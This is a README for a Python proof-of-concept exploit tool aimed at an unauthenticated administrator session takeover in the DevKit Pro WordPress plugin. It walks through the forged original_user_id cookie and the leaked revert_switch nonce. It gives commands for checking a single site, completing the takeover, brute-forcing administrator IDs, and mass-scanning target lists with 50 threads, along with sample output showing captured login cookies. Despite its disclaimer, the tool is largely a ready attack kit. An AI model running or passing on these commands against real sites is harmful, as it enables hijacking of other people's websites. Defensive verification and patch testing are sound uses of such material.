
Python PoC scanner and exploit helper for CVE-2026-14378, an unauthenticated admin session takeover in the DevKit Pro WordPress plugin via forged original_user_id cookie.
Proof-of-concept scanner and exploit helper for CVE-2026-14378: unauthenticated administrator session takeover in the WordPress plugin DevKit Pro (dplugins) through a flawed user-switch “revert” flow.
Legal: Use only on systems you own or have explicit written permission to test. Unauthorized access is illegal. This repository is for defensive research, verification, and patching validation.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Suggested topics: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Product | DevKit Pro (vendor: dplugins) |
| Type | Authentication bypass → full administrator session (CWE-287) |
| Affected | All versions ≤ 2.3.0 |
| Fixed | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Issue | Auth |
|---|---|---|
| CVE-2026-14357 | Arbitrary theme ZIP install via DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Session takeover via user-switch revert | None |
This PoC targets 14378 only.
DevKit Pro’s Users Manager can impersonate users for testing. When an admin switches to another account, the plugin stores the prior identity in a client cookie:
original_user_id — user ID of the account before the switchWhen that cookie is present, the plugin renders a “switch back” control in wp_footer on the front end, including a WordPress nonce bound to the revert action.
The revert_switch handler (AJAX) calls verify_nonce_and_capability(), which incorrectly evaluates manage_options against the user referenced by original_user_id, instead of using current_user_can() on the actual requester (who may be completely unauthenticated).
An attacker can:
Cookie: original_user_id=<administrator_user_id> (commonly 1).POST to wp-admin/admin-ajax.php with action=revert_switch (or plugin-specific alias) and the leaked nonce.wp_set_auth_cookie() for the forged user ID → authenticated administrator session.Official feature context: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
The check command is intentionally strict: it reports vulnerable only if a switch-back nonce appears after forging original_user_id.
| Observation | Likely meaning |
|---|---|
VULNERABLE — switch-back material leaked | Exploit path likely works; confirm in a lab before admin. |
not vulnerable (check): no switch-back nonce… | Patched DevKit (≥ 3.0.0), plugin not installed, Users Manager disabled (off by default), custom plugin path, cache/CDN stripping footer, or wrong site. |
DevKit Pro readme not confirmed | No public readme.txt fingerprint; plugin may still be present but hidden — oracle remains the decisive test. |
DevKit Pro <= 2.3.0 suspected + still no nonce | Vulnerable version may be installed but switch feature not enabled or footer not rendered on tested URLs. |
Note: A HTTP 200 on /wp-content/plugins/.../readme.txt that returns a full HTML page is a common WordPress soft 404. This PoC validates readme content (Plugin Name: header), not status code alone.
pip install requests
Optional: requirements.txt contains a pinned minimum:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
Does not complete takeover; only tests the footer nonce oracle.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Attempts full revert_switch and verifies /wp-admin/ access.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Flag | Description |
|---|---|
--user-id | Administrator (or target) user ID forged in original_user_id (default: 1) |
--brute | Try IDs 1..N when the first ID fails |
--timeout | HTTP timeout in seconds (default: 25) |
--log | Append successful admin URLs to a file (default: logs.txt) |
One URL per line; # comments and extra columns after whitespace are ignored.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
If no file is passed as the first argument, the script prompts for a list path (same behavior as legacy mass scanners).
Mass mode uses a thread pool (50 workers). Tune in poc.py if you hit rate limits.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Vulnerable (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Not vulnerable (typical mass scan):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Successful admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…
verify=False) for pentest-style scanning; redirects followed; optional HTTP↔HTTPS fallback on errors.revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (commercial plugin; exact hook name may vary by build)./, /?p=1, /sample-page/, /index.php with forged cookie.wordpress_logged_in_* cookie and/or /wp-admin/ dashboard markers.